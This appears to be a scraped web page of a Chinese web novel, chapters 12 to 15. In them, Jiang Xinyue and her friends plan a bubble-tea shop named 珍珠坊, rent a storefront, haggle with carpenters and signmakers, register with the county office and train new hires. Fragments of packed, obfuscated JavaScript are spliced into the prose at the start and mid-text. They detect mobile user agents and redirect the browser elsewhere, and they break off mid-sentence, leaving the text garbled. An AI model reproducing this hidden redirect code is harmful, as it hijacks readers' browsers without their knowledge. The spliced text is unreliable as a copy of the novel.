l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359034|168064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奶茶,就像......”她顿了顿,把“现代的连锁奶茶店”咽了回去,“就像在我的家乡,到处都能买到一样。” 陈婶突然“腾”地站起来,踩得竹凳吱呀响。她踮脚从衣柜顶上摸下个枣木小匣子,“哗啦”倒出两贯用红绳串好的铜钱:“我这儿还有两贯体己钱,算我一份!” 呆六娘也急忙翻荷包:“我、我虽然不多,但也......” 江心月按住她们的手:“不急,咱们先把计划完善好。” 她重新拿起炭笔,在纸上画起来:“总店这里摆六张桌子,柜台要宽一些......” 三个脑袋越凑越近。 “柜台后面得砌两个灶眼。”陈婶凑过来指点,“一个煮茶,一个熬珍珠,省得手忙脚乱。” 呆六娘突然举手:“我知道西街刘木匠手艺好!他做的条凳十年都不会晃!” “刘木匠要价太黑。”陈婶摇头,“不如找我表侄来做,工钱能省三成。” “那不行!”呆六娘急得直摆手,“上回他给王寡妇打嫁妆,榫头都是松的!” 江心月笑着记下她们的主意,炭笔在纸上沙沙作响。 三个人头碰头地争论起来,烛光把她们的影子投在土墙上,时而凑在一起讨论,时而比划着争执。 谁也没注意,灶台上的水壶早就烧干了底,发出轻微的“咔咔”声。 江心月突然蘸着茶水在桌上画了个圈:“你们看,咱们可以把煮茶的铜壶改成这样,壶嘴加个滤网......” “妙啊!”陈婶拍腿,“这样过滤茶叶渣更干净!” “加盟的铺子每月初一要来总店进货。”江心月在纸上记着,“咱们每旬派人不打招呼去抽查......” “得定个暗记!”呆六娘突然灵光一闪,“比如在招牌右下角画个小小的珍珠图案,真伪一看便知!” 陈婶掰着指头算账:“按最保守的估计,五家分店加上总店,每月起码能赚......” “先不说赚多少。”江心月打断她,眼睛亮晶晶的,“你们想想,等咱们的奶茶铺开遍永安城,那些挑担走街的货郎、学堂放蒙的孩童、赶集卖菜的农妇,随时都能喝上一碗香甜的奶茶......” 不知过了多久,远处传来鸡鸣声。江心月伸了个懒腰,她看着桌上密密麻麻的画满记号的纸张,突然笑出声:“咱们这是要当东家娘子了?” “东家娘子!”呆六娘乐得直拍手,突然想起什么,“对了,咱们得起个响亮的名号!” 陈婶眯着眼睛想了想:“不如叫‘陈记茶坊’?” “太普通了!”呆六娘撇嘴,“要我说叫‘六娘珍珠茶’!” 江心月蘸着茶水在桌上写下两个字:“珍珠坊,怎么样?” “珍珠坊......”陈婶咂摸着,“又好记又雅致!” 晨光微熹时,三人于敲定了所有细节。 江心月把厚厚一叠纸仔细收好,突然听见院外传来“吱呀”的开门声——是早起磨豆腐的孙婆子开始干活了。 “今天就去看铺面?”呆六娘揉着发酸的后颈问。 江心月推开窗户,深深吸了口带着晨露的空气:“不,今天照常出摊。”她转身露出狡黠的笑容,“咱们得让全城都知道,珍珠坊的奶茶有多好喝。” 这个夜晚,一个奶茶帝国的雏形,就在这间小屋里悄然诞生了。 13. 第 13 章 晨光正好,江心月带着呆六娘穿过熙攘的西市大街,拐角处那间空置的铺子静静地等待着。阳光透过门缝在地面上投下斑驳的光影,门板上还留着上一家店铺褪色的“茶”字痕迹。 “就是这儿。”江心月推开吱呀作响的木门,一股淡淡的木屑味扑面而来。 “三娘你看!”她兴奋地指着临街的大窗户,“在这儿摆柜台,客人从外面就能看见咱们煮奶茶!” 江心月伸手摸了摸窗框,结实的榆木泛着温润的光泽。她点点头,转身往后厨走去。呆六娘像只欢快的小麻雀,在空荡荡的铺子里转来转去。 “这里放两张方桌,那边再摆条长凳......”她突然停在屋子中央,眼睛渐渐亮了起来,“等开业那天,这里一定会挤满人!” 江心月正在检查房梁,闻言转过头:“你倒是想得远。” “真的!”呆六娘兴奋地比划着,“我都能看见——门口排着长队,那个总来买奶茶的豆腐老张肯定第一个来。”她模仿着老张粗犷的嗓门:“‘老板娘,照旧来两碗!’” 江心月忍不住笑了,手里的抹布在柜台上擦出一道水痕。 呆六娘又跑到靠窗的位置,手指轻点桌面:“这儿坐着穿绸缎的夫人,捧着琉璃杯慢慢品。”她突然压低声音,学着贵妇人的腔调:“‘这珍珠倒是别致,给我家姑娘也带一碗。’” 窗外的阳光照在她脸上,将她的笑容映得格外明亮。江心月停下手中的活计,靠着柜台看她手舞足蹈。 她伸出手指在蒙尘的玻璃上画着:“窗边坐着穿绸衫的公子小姐,那个常来买奶茶的书生肯定在角落里写字。啊!最好再挂个铃铛,门一开就叮当响......” 江心月忍不住笑出声:“想得倒挺美。” “还有这儿!”呆六娘蹦到角落,“肯定是那群下学堂的小娃娃,凑钱买一碗分着喝。”她蹲下身,假装捧着碗小口啜饮,突然瞪大眼睛:“‘哇!这珍珠会跳舞!’” 一阵风从门口吹进来,带着街市上糖炒栗子的甜香。 呆六娘深吸一口气,仿佛已经闻到了满屋的奶茶香气:“三娘,到时候咱们忙不过来怎么办?” 江心月把抹布拧干,水珠滴进木桶里发出清脆的声响:“那就多招两个伙计。” “对对对!”呆六娘拍手,“门口排着长队,几个伙计忙得脚不沾地。一个人负责煮茶,一个人招呼客人,我在柜台收钱......” 她突然想到什么,眼睛瞪得圆圆的,“三娘,你说会不会有一天,咱们的铺子太小,客人都排到街对面去了?” 江心月走到她身边,推开窗户。市井的喧嚣立刻涌了进来,叫卖声、讨价还价声、孩童的嬉笑声混作一团。 “那就开分店。”江心月说得很轻,但呆六娘听得清清楚楚。 门外传来咳嗽声,精瘦的房东老头背着手踱进来,眯着眼睛打量她们:“看好了?这铺子多少人抢着要呢。” 呆六娘一个箭步上前:“我们要了!”她转头看向江心月,眼睛亮晶晶的,“对吧,三娘?” 江心月拍拍手上的灰:“租金怎么说?” 老头伸出三根手指:“每月八百文,先付三个月。” 房东老头从怀里掏出一张泛黄的纸,慢悠悠地铺在刚擦净的桌面上:“咱们得立个字据。” 江心月凑近看了看,纸上墨迹有些晕染,但条款还算清晰。老头从袖中摸出半截墨条,在桌角磨了起来。 “您这字据......”江心月指着第三行,“写着‘不得转租他人’,那要是我们找帮手呢?” 老头蘸了蘸墨:“帮手算伙计,不算转租。”他抬眼看了看呆六娘,“这丫头也算在内。” 呆六娘正趴在窗边看街景,闻言转过头:“我才不走呢!我要跟着三娘做大事!” 老头被逗笑了,笔尖在砚台边刮了刮:“押金三个月,租期一年。提前退租不退钱,续租要提前半月说。” 江心月点点头:“很公道。”她接过毛笔,突然顿住,“这里写着‘不得擅自改动房屋结构’,那我们在墙上钉几个挂架行吗?” “钉吧钉吧,”老头摆摆手,“别拆墙就成。” 毛笔在纸上沙沙作响。江心月签完名,吹了吹未干的墨迹。老头从腰间解下个小印盒,郑重其事地按了个红手印。 “喏,”他把其中一份推给江心月,“每月初五交租,迟了要收利钱。” 呆六娘好奇地摸着契约上的红印子:“这印泥真好看,像朱砂似的。” “小丫头懂什么,”老头得意地捋须,“这可是正宗的八宝印泥,掺了珍珠粉的。” 江心月将契约对折收好,突然想起什么:“对了,后院那口井......” “井水随便用,”老头把钥匙串叮叮当当放在桌上,“不过每月要帮着清理一次。” 屋外传来糖葫芦的叫卖声,呆六娘扒着门框直咽口水。江心月笑着数出定金:“那咱们就说定了。” 老头掂了掂,突然咧嘴笑了:“小姑娘够爽快。” 呆六娘欢呼一声,拉着江心月的手晃啊晃:“三娘!咱们真的要有自己的铺子了!” 江心月望着洒满阳光的店面,恍惚间仿佛真的看见了呆六娘描述的场景——喧闹的顾客,忙碌的伙计,还有满屋飘散的奶茶香。 她轻轻握住呆六娘的手:“嗯,会比想象中更好的。” 屋外传来货郎的叫卖声,两人相视一笑。 “走吧!”江心月看时候不早了,“我们还要去订桌椅和牌匾呢。” 刘木匠的铺子飘着松木香,江心月刚跨过门槛,就被满地的刨花绊了个趔趄。木屑的清香混着桐油味扑面而来,呆六娘忍不住打了个喷嚏。 “当心脚下。”刘木匠头也不抬,手里的刨子在榆木板上推出一道卷曲的木花,“昨儿个王掌柜来订柜子,也是这么差点摔着。” 江心月扶住门框站稳,笑道:“刘师傅手艺还是这么忙?” 刘木匠这才抬头,竹烟斗在牙齿间转了个圈:“哟,这不是夜市卖甜水的江姑娘吗?”他眯起眼睛打量跟在后面的呆六娘,“带着小帮手来啦?” 呆六娘从怀里掏出一张皱巴巴的纸:“我们要订桌椅!” 刘木匠接过单子,烟斗差点掉下来:“六张方桌?二十四条长凳?”他敲了敲身旁的半成品,“这可不是小数目啊。” 江心月摸了摸桌面上光滑的木纹:“榆木的什么价?” “榆木?”刘木匠的眉毛扬得老高,“小姑娘口气不小。”他取下烟斗,在算盘上噼里啪啦拨弄起来,“松木的一套一百五十文,榆木的少说二百文......” 呆六娘倒吸一口凉气,手指不自觉地绞紧了衣角。 江心月却不急不躁,指尖轻轻划过桌沿:“不要雕花,素面的就行。” “那也得一百八十文。”刘木匠的算盘珠子啪嗒作响,“靠背椅另算,三十文一把。” 江心月突然蹲下身,从墙角捡起一块边角料:“这些零碎木料,您留着也是烧火吧?” 刘木匠的烟斗停在半空:“怎么?” “送我们几块如何?”江心月笑得眉眼弯弯,“正好能做奶茶托盘。” “嘿!”刘木匠的胡子都翘了起来,“买桌椅还带要添头的?” “刘师傅,”江心月凑近了些,压低声音,“听说醉仙楼要重新装修?” 刘木匠的耳朵明显动了动:“你听谁说的?” “昨儿个他们掌柜来喝奶茶,提起要找木匠呢。”江心月状似无意地整理着袖口,“要是我们这单做得满意......” 刘木匠眯起眼睛打量她半晌,突然哈哈大笑:“好个精明的丫头!”他重新拨起算盘,“一千五百文,边角料随你挑!” “一千二百文。”江心月从荷包数出六百文,“定金先付一半,三日后交货。” “太少了!”刘木匠连连摇头,“最少一千四百文。” 江心月作势要收回钱:“那我们去城东问问......” “等等!”刘木匠一把按住桌上的铜钱,“一千三百文,不能再少了!” “成交。”江心月爽快地松手,“不过得帮我们在桌角刻个小记号。” “什么记号?” 江心月蘸着茶水在桌上画了个圆圈:“就这个,像珍珠似的。” 呆六娘噗嗤笑出声,赶紧掏出炭笔记下尺寸。刘木匠摇头叹气:“老夫做了三十年木匠,头回被个小姑娘拿捏。” 屋外的阳光渐渐西斜,照得飞舞的木屑像撒了一地金粉。江心月蹲在墙角挑选边角料时,呆六娘悄悄凑过来:“三娘,醉仙楼真要装修?” 江心月眨眨眼:“他们掌柜确实来喝过奶茶。” “然后呢?” “然后我说刘师傅的手艺最好。”江心月抱起几块平整的木料,“至于装修嘛......开酒楼的,迟早要换桌椅不是?” 两人走出铺子时,阳光正好照在“刘记木匠铺”的招牌上。呆六娘蹦蹦跳跳地数着剩下的铜板:“三娘,咱们现在去买牌匾吗?” 江心月掂了掂怀里的木料:“不急,先去找王铁匠打几个铜壶。” ———— “珍珠坊”三个大字在红纸上写得龙飞凤舞,墨迹在阳光下泛着微微的光泽。江心月踮起脚尖,把样稿往“李记匾额铺”的门框上又贴高了些,退后两步歪着头打量。 “左边‘珍’字那一撇再长些更好。”她自言自语道。 呆六娘正蹲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359035|168064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在地上逗弄一只花斑猫,闻言抬头:“三娘,你写的字真好看,比东街代写书信的赵秀才还强!” 江心月笑着把被风吹乱的碎发别到耳后:“小时候被爹逼着练字,手腕都肿过好几回呢。” 小时候最讨厌的事,在现在也能给自己省一份钱,当真是命运弄人。江心月有些恍然。 李师傅叼着竹签从铺子里晃出来,围裙上沾满木屑。他眯眼看了看红纸:“姑娘这字确实有筋骨,不过刻到木头上还得改改笔势。”说着用满是老茧的手指在“珠”字的右半部比划,“这‘朱’字要是直着刻,容易开裂。” “您说得在理。”江心月点点头,“不过这笔画的弧度可别改,这是咱们奶茶铺子的招牌风格。” 呆六娘凑过来,鼻尖几乎贴上红纸:“像珍珠在杯子里晃悠的样儿!” 李师傅哈哈大笑,竹签在牙齿间转了个圈:“有意思!楠木的经久耐用,松木的便宜实惠。”他转身从铺子里抱出两块木料,放在门前的长凳上,“姑娘要哪种?” 阳光透过槐树叶的间隙,在木料上投下斑驳的光影。呆六娘凑近那块深褐色的楠木,深深吸了口气:“这个好,香喷喷的!跟三娘煮的奶茶一样香!” 江心月伸手摸了摸另一块浅色松木的纹路,指腹能感受到木质的细密:“松木的多少钱?” “松木的一贯钱,楠木的三贯。”李师傅用竹签轻轻敲击楠木表面,发出沉闷的响声,“听这声儿,楠木的能保十年不开裂。” 呆六娘扯扯江心月的衣袖,小声道:“咱们铺子要挂很久呢,说不定能传给你闺女......” 江心月耳根一热,作势要拧呆六娘的脸:“胡说什么呢!”目光却扫过铺子角落,突然定在一块蒙尘的木料上,“李师傅,那块紫檀怎么卖?” 李师傅嘴里的竹签“啪嗒”掉在地上。他弯腰捡起竹签,在围裙上擦了擦:“哎哟,姑娘好眼力!这料子可有些年头了......”他小心翼翼拂去紫檀上的灰尘,“少说五贯钱。” “都落灰了。”江心月轻笑,从腰间解下荷包,“三贯,我马上付定金。” “这哪成!”李师傅急得直搓手,木屑簌簌往下掉,“光料子就值四贯!” 江心月不慌不忙地解开钱袋:“您看啊,我们奶茶铺子开在西市最热闹的地段。”她故意把铜钱晃得哗啦响,“南来北往的客人多着呢,要是匾额做得好......” 呆六娘立刻接话:“我们天天跟客人夸您的手艺!” 李师傅的胡子翘了翘,眼睛在阳光下眯成两条缝:“那......四贯半?” “三贯半。”江心月数出七百文钱排在长凳上,铜钱在木纹上滚了两圈,“剩下交货时付清。对了,要鎏金边的。” “鎏金?!”李师傅差点跳起来,围裙带子都松了,“那得加钱!” 江心月已经拉着呆六娘往门外走,故意提高声音:“六娘,我记得城东王家也做匾额?” “对呀对呀!”呆六娘会意地大声应和,“王掌柜上次还说给咱们优惠呢!” “回来回来!”李师傅急得直跺脚,踩得地上的木屑飞扬,“四贯!鎏金边算送你的!” 呆六娘憋笑憋得脸都红了,使劲掐自己手心。江心月这才转身,眉眼弯弯地递过定金:“要刻得大气些,后天晌午前能取吗?” “成!”李师傅接过钱,忽然压低声音,“姑娘,鎏金边的事儿可别到处说......” 江心月眨眨眼:“您放心,这是咱们的秘密。” 走出铺子,呆六娘终于忍不住笑出声:“三娘,你砍价的样子真吓人!” 江心月把钱袋系回腰间,顺手替呆六娘摘掉头发上粘的木屑:“等着瞧吧,等匾额挂上,保准让整条街的人都记住''珍珠坊''。” 阳光正好,街对面卖豆腐的老张支着摊子朝她们招手:“姑娘,新铺子什么时候开张啊?老头子我可惦记着那口甜奶茶呢!” “快了快了!”呆六娘欢快地蹦跳着回应,“到时候请您喝头碗!多加珍珠!” 江心月望着熙熙攘攘的西市大街,卖布匹的吆喝声、磨刀匠的铜锣声、孩童追逐的笑闹声交织在一起。她仿佛已经看见那块崭新的匾额高悬门楣,在阳光下熠熠生辉。 “走,去买牛奶。”她挽起呆六娘的胳膊,“昨天那家农户说今天有新挤的。” 呆六娘突然想起什么:“三娘,咱们钱还够吗?刚花了那么多......” 江心月拍拍腰间:“放心,我留着买材料的钱呢。”她狡黠一笑,“再说了,买牛奶还能砍价不是?” 两人笑作一团,惊飞了路边啄食的麻雀。槐树的花瓣随风飘落,有一片正好落在江心月的发髻上,像给她簪了朵珍珠似的白花。 14. 第 14 章 油灯的火苗轻轻跳动着,三个人聚在一起商量事。呆六娘趴在桌上,手指无意识地绕着茶杯打转,突然眼睛一亮。 “三娘,我想到了!”她猛地直起身,差点碰翻茶碗,“要是真像你说的,全城都有咱们的奶茶铺......”她的声音渐渐低下去,眼睛却越来越亮。 江心月正在往账本上记数,闻言抬起头:“想到什么了?” 呆六娘突然站起来,在狭小的屋子里转了个圈:“我都能看见——城东那家铺子门口,王掌柜的闺女正踮着脚往杯子里加珍珠呢!”她模仿着小姑娘的动作,“一颗、两颗......哎呀,掉地上了!” 陈婶噗嗤笑出声,手里的针线活都放下了。 “还有城南!”呆六娘跑到窗边,手指在蒙着水汽的窗纸上画着,“李记布庄旁边新开了家奶茶铺,那些挑夫们下工就蹲在门口喝,碗底都要舔干净!” 江心月托着腮看她,嘴角微微上扬。灯花爆了一下,溅出几点火星。 呆六娘又跑回桌前,手指点着茶碗:“最热闹的还是咱们总店!”她顺势坐回凳子上,双手捧着脸:“三娘,你说要是真这样,咱们是不是得天天数钱数到手抽筋啊?” 陈婶突然正色道:“别光想好事,万一......” “没有万一。”江心月合上账本,发出轻轻的啪嗒声,“你们想,现在西市的客人为了买奶茶,宁愿排半个时辰队。要是城东城南都有,不仅方便了客人,咱们还能赚得更多。” 呆六娘突然安静下来,盯着跳动的灯焰出神。过了好一会儿,她轻声说:“三娘,我好像明白了。就像...就像咱们小时候,全村只有一口井,大家天天排队打水。后来里正带人挖了新井,大家反而更记着他的好。” 江心月点点头,往茶壶里添了热水。蒸汽升腾起来,模糊了她带笑的眼睛:“就是这个道理。” 屋外传来打更的声音,陈婶起身拨了拨灯芯。三个人的影子在墙上晃了晃,又安静下来。 呆六娘突然打了个哈欠:“那明天我去把招工的牌子挂起来?” “不急。”江心月把晾凉的奶茶推给她,“先把营业执照办下来、铺子收拾好。” 呆六娘已经趴在桌上快睡着了,嘴里还嘟囔着:“珍珠......要多搓点......” 夜风轻轻拍打着窗纸,油灯的火苗渐渐低了下去。三个人的说话声越来越轻,最后只剩下均匀的呼吸声。明天一早,她们就要去布置那个即将改变永安城茶饮格局的小铺子了。 辰时的日头刚爬上县衙的飞檐,江心月就拉着呆六娘站在了户房门外。青两人来得太早,衙门口的差役还在打着哈欠系腰带。台阶被经年累月的鞋底磨得发亮,角落里还留着未干的洒扫水迹。 “三娘,我腿肚子直打颤。”呆六娘攥着江心月的衣袖小声说,“上回我来县衙还是阿爹吃官司的时候......” 江心月捏捏她的手心:“今天咱们是来办喜事的。”说着从怀里掏出文书又检查了一遍,纸角都被她摸得起了毛边。 “下一个!”师爷沙哑的嗓音从门缝里钻出来。 江心月整了整衣襟迈进门槛,浓重的墨味混着陈年卷宗的气味扑面而来,呛得她喉咙发痒。 三寸宽的榆木柜台被磨得油光水滑,后面坐着个蓄着山羊胡的师爷,正用指甲剔着牙缝里的早饭残渣。 “办什么?”师爷头也不抬,笔尖在砚台里反复蘸着,墨汁溅在袖口上也不在意。 “申请商籍,开茶饮铺子。”江心月双手递上文书,纸页在她指尖微微发抖。 师爷这才抬眼,目光在两人身上溜了一圈:“女子经商?保人是谁?” “西街米铺的陈掌柜。”江心月又递上盖了红印的保书。 师爷慢悠悠地展开文书,突然皱眉:“珍珠坊?卖珍珠的?” “卖珍珠奶茶。”呆六娘忍不住从江心月身后探出头,“就是用羊奶和茶叶,加上我们特制的木薯粉圆子......” “行了行了。”师爷不耐烦地摆手,“商税每月八十文,先交半年。印花税二十文,文书费十文。”他掰着手指算完,毛笔在账本上点了点,“统共五百一十文。” 江心月默默解开荷包数铜钱,心里盘算着这笔开销要少买多少蜂蜜。铜钱碰撞声引得师爷斜眼瞥了瞥:“怎么,钱不趁手?” “大人,我们小本经营......”江心月刚开口,柜台里传来“咔哒”一声响。 “规矩就是规矩。”师爷的毛笔在砚台边敲得哒哒响,“隔壁酒铺每月交一百文呢。”他指了指墙上发黄的税则告示,纸边已经卷了边。 柜台角落的算盘突然被人拨得噼啪响。一个穿青色官服的中年男子踱过来,腰间玉佩随着步伐轻轻晃动:“新办商籍?” “李主簿!”师爷立刻挺直了腰板,沾墨的笔尖差点戳到文书。 李主簿拿起文书扫了眼,忽然笑了:“奶茶?可是西市夜市那个甜饮?小女前日吵着要买第二碗。” 江心月眼睛一亮,不自觉地往前凑了半步:“大人尝过?我们家用的可是正经岩茶......” “咳咳!”师爷突然咳嗽起来。 李主簿嘴角微微上扬:“确实新奇。商税按最低档收吧,六十文。”他从笔架上取了支新笔,在文书上批了几个字。 师爷的胡子抖了抖:“可规矩写明新开铺面......” “今年知府大人不是说要扶持小商贩么?”李主簿轻轻放下文书,手指在“珍珠坊”三个字上顿了顿,“印花税也免了。记得每月初一来缴税,别让差役上门催。” 呆六娘激动地拽住江心月的袖子,差点把接缝处扯开线。江心月深深福了一礼,发髻上的木簪差点滑落:“多谢大人体恤。” 师爷不情不愿地磨墨开票,砚台里的水溅得老高。朱红大印“啪”地盖在执照上,震得柜台上的笔架都晃了晃。 李主簿临出门前忽然回头:“开业那日,记得给我留两碗。小女要是知道你们开了铺子,怕是要天天缠着去。” “一定用最好的茶叶!”呆六娘脆生生地应道,“再加双份珍珠!” 走出县衙时,晨雾已经散尽。卖炊饼的推车轱辘声从街角传来,混着早市开张的动静。江心月对着阳光举起那张盖着红印的执照,薄薄的宣纸透出光来,朱砂印色红得耀眼。 “三娘,”呆六娘蹦跳着数剩下的铜钱,铜钱在她掌心叮当作响,“省下的税钱够买半斤蜂蜜了!还能扯块红布做幌子!” 江心月小心翼翼地将执照对折,收进贴身的暗袋里:“先去陈掌柜那儿道谢,再去买些红绸子。”她摸了摸暗袋,又按了按胸口,“得让整条街都知道咱们是正经商户了。” 拐角处卖炊饼的老汉掀开蒸笼,白蒙蒙的热气模糊了县衙的飞檐。呆六娘突然“啊”了一声:“三娘,你说李主簿家的小姐,是不是常穿绿裙子、簪绒花的那个?上回在西市还问咱们珍珠怎 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呆六娘接过刷子,刚蹲下就“哎哟”一声跳起来:“有蜘蛛网!”她挥舞着刷子左突右挡,活像在打一套猴拳,把陈婶逗得直不起腰。 江心月笑着挽起袖子,露出纤细的手腕:“先扫房梁。”她踮脚去够横梁,灰尘簌簌落下,正好落在呆六娘仰起的脸上。 “三娘!”呆六娘呸呸吐着灰,小脸皱成一团,“你故意的!” 陈婶笑得直拍大腿:“小六子,去井边打水去,这儿交给我们。” 呆六娘拎着木桶跑出去,不一会儿就听见她在院里大呼小叫:“井里有只青蛙!” “别管青蛙了!”陈婶朝窗外喊,“多打些水来!要洗的东西多着呢!” 江心月踩着凳子擦窗户,忽然发现窗框上有道裂缝:“陈婶,您看这个......” 陈婶凑过来摸了摸裂缝,粗糙的手指沾上了木屑:“小事,让老刘头捎点腻子来。”她突然压低声音,神秘兮兮地说,“昨儿我碰见赵会长家的丫鬟,听说......” “听说什么?”呆六娘提着水桶冲进来,水洒了一路,在身后留下一串湿脚印。 “听说西街要开新茶楼了。”陈婶拧着抹布,水珠滴滴答答落进桶里,“专门针对咱们呢,连招牌都跟咱们差不多。” 江心月手里的动作没停:“让他们开。”她擦净最后一块玻璃,阳光毫无阻碍地照进来,“咱们的珍珠,他们学不会。” 正说着,门口传来一阵沉重的脚步声。刘木匠带着两个徒弟站在那儿,身后是摞得高高的榆木桌椅,散发着淡淡的木香。 “放哪儿?”他粗声粗气地问,胡子上的木屑随着说话一抖一抖的。 呆六娘欢呼着跑过去,摸着崭新的桌面:“就摆这儿!正对大门!客人一进来就能看见!” 刘木匠指挥徒弟们搬桌椅,自己却蹲在窗边研究那道裂缝:“得用榆木屑混桐油补.”他掏出小刀,开始熟练地削木块。 陈婶凑近江心月,小声嘀咕:“这老倔头什么时候这么好说话了?” 江心月笑而不语,从墙角拿出几块木料:刘师傅,您看这些够做托盘吗?要二十个。“ 刘木匠头也不抬:“放那儿吧。”过了一会儿又补充,“明天给你捎来。”他顿了顿,“用剩下的边角料给你雕几个茶托。” 陈婶惊讶得张大了嘴,活像能塞进个鸡蛋。江心月却只是微微一笑,转身去帮呆六娘拧抹布。 15. 第 15 章 清晨,江心月刚把“珍珠坊招工”的牌子挂出去,就有人探头探脑地往店里张望。 “老板娘,你们这儿招人?”一个穿粗布衣裳的年轻姑娘站在门口,手指绞着衣角,声音细细的。 江心月放下抹布,笑着点头:“对,进来坐。” 姑娘小心翼翼地跨过门槛,眼睛不住地打量着店里崭新的桌椅和柜台:“我、我叫春桃,以前在包子铺帮过工。” 江心月给她倒了碗茶:“会煮茶吗?” 春桃摇摇头:“不会,但我手快,揉面、包馅儿都行。” “那正好。”江心月从后厨端出一盆木薯粉,“你先试试搓珍珠。” 江心月抓了把木薯粉摊开,细白的粉末簌簌落下铺了满桌。 “你看好,”她舀了勺温水慢慢滴进粉堆,“水要一点点加,像这样。” 春桃眼睛一眨不眨地盯着,看着那水滴在粉堆里洇出一个个小圆点。她看着江心月的手指在粉堆里画着圈,渐渐揉出个光滑的面团。 “太湿会粘手,太干容易裂。”江心月揪下一小块面团,在掌心搓了搓,“要像这样......”面团在她指尖旋转,渐渐变得圆润光滑。 春桃忍不住伸手想碰,又怯生生地缩了回去。 江心月看到给她让了位置,“你来试试?” 春桃接过面团,学着样子搓起来。第一条刚成型就断成三截,她急得直咬嘴唇。 “别急,”江心月笑着按住她的手,“手指别太用力,要用掌心滚。” “这么快就招到人了。”呆六娘拎着菜篮进门时,正看见两人头碰头地研究面团。她凑过来瞧了瞧春桃的“作品”,噗嗤笑出声:“这哪是珍珠,分明是蝌蚪嘛!” 春桃手里的面团“啪嗒”掉在案板上,耳朵尖都红了。 “六娘!”江心月瞪了她一眼,转头对春桃柔声道:“我刚开始搓得还不如你呢,全粘在手上了。” 她重新揪了块面,动作放得极慢:“拇指和食指轻轻捏住,这么一转......”面团在她指尖轻盈地转了个圈,圆润的珍珠就诞生了,咕噜噜滚进竹筛里。 春桃突然眼睛一亮,转身就往后院跑。不多时举着片翠绿的芭蕉叶回来:“我娘教我做糕团时,都用这个防粘。” 叶片铺在案板上,泛着淡淡清香。果然,珍珠在蕉叶上滚得格外顺溜。江心月惊喜地看着春桃越搓越熟练,越搓越圆,最后几颗已经像模像样了。 “哎呀!这颗特别好!”呆六娘突然捏起一颗珍珠对着光看,“又圆又亮,跟真珠子似的!” 春桃抿嘴笑了,手指沾着白粉在围裙上擦了擦:“老板娘,我能不能......” “叫心月姐就行。”江心月把装满珍珠的竹筛递给她,“这些够煮一锅了,咱们试试?” 铁锅里的水咕嘟冒泡时,三颗脑袋一齐凑在锅边。珍珠在沸水里沉浮,渐渐变得晶莹剔透。呆六娘突然抽抽鼻子:“好香!像是......” “像是蒸糯米的味道。”春桃自然地接话,手里长筷已经伸进锅里轻轻搅动。 江心月看着她熟练地搅动珍珠防止粘锅,突然笑了:“春桃,你明天还来吗?” 长筷在锅里顿了一下。春桃抬起头,眼睛亮得像刚捞出来的珍珠:“来!我还能再早点!” 江心月来另一边教来应聘的小伙子煮茶。小伙子叫阿成,以前在酒楼当跑堂,手脚麻利,就是性子急。 “茶叶不能久煮,水滚了就捞出来。”江心月示范着,“火候过了,茶就苦了。” 阿成凑近锅边猛吸鼻子:“咦?这香味......”他忽然打了个喷嚏,“阿嚏!怎么有点焦糖味儿?” “秘密在这儿。”江心月揭开旁边的小陶罐,里面躺着些微微发黄的茶叶,“先用铁锅炒过。” 阿成捏起一片对着光看:“乖乖,跟酒楼里那些黑乎乎的茶叶真不一样!” “茶叶就像小娃娃,”江心月往锅里加了勺泉水,“火候大了要哭,火候小了又闹脾气。” 呆六娘抱着蜂蜜罐子路过,噗嗤笑出声:“三娘,你这话说的,阿成该以为咱们在煮孩子了!” 阿成却若有所思地盯着渐渐染上琥珀色的茶汤:“难怪......以前酒楼客人总嫌茶涩,掌柜就让加糖盖味儿。” 江心月递给他一根长柄勺:“你来试试?记住,茶叶浮起来就捞。” 阿成接过勺子的手有点抖,第一勺下去差点把茶叶全舀出来。江心月扶住他的手腕:“轻点儿,像这样。”她的手带着阿成的手腕画了个圆弧,茶汤在勺底转出个小小的漩涡。 “嘿!真神了!”阿成看着滤网上舒展开的茶叶,“这不跟钓鱼似的嘛!” 后门突然被撞开,春桃端着刚搓好的珍珠进来:“心月姐,这批珍珠......”她看见阿成笨手笨脚的样子,忍不住抿嘴笑了。 阿成耳根一红,手里的勺子“咣当”磕在锅沿上。江心月眼疾手快接住溅起的茶汤:“不急,慢慢来。” 茶香混着珍珠的甜腻在屋里萦绕。阿成终于煮出第一锅合格的茶汤时,兴奋得差点把勺子扔进锅里。 “成了!”他舀起一勺递给江心月,“您尝尝?” 茶汤入口,江心月眼睛一亮:“比我想的还好!”她转头对呆六娘喊,“六娘,给阿成记上,每月多加五十文工钱!” 春桃正往茶汤里加珍珠,闻言手一抖,几颗珍珠咕噜噜滚到地上。阿成慌忙去捡,两人的脑袋“咚”地撞在一起。 “哎哟!” “我的珍珠!” 下午,店里来了个意想不到的应聘者。 江心月正往新做的账本上誊写配方。门帘突然哗啦一响,一个熟悉的身影跨了进来。 “李婶?”呆六娘手里的抹布掉进了水盆,“您这是......” 隔壁糖水铺的李婶挎着个蓝布包袱,发髻上还沾着几点糖霜。她笑呵呵地拍了拍包袱:“听说你们招工,老婆子来讨碗饭吃。” 江心月连忙起身:“您糖水铺不开了?” “开,怎么不开。”李婶把包袱往桌上一放,掏出个油纸包,“今早新熬的梨膏,给你们尝尝。”她左右张望着店里的摆设,“我家老头子腰病犯了,我想着学个新营生,也好替他分担些。” 呆六娘已经迫不及待地拆开油纸包:“李婶的梨膏最甜了!” 江心月递过一碗凉茶:“那您想学什么?” “全学!”李婶一仰脖喝干茶水,袖子抹了抹嘴,“煮茶、调蜜、搓那个什么......珍珠是吧?” 后厨很快传来叮叮当当的声响。李婶系上围裙的样子活像个要上战场的将军。她捏起一撮茶叶闻了闻:“这茶炒得不错,就是火候还差......” 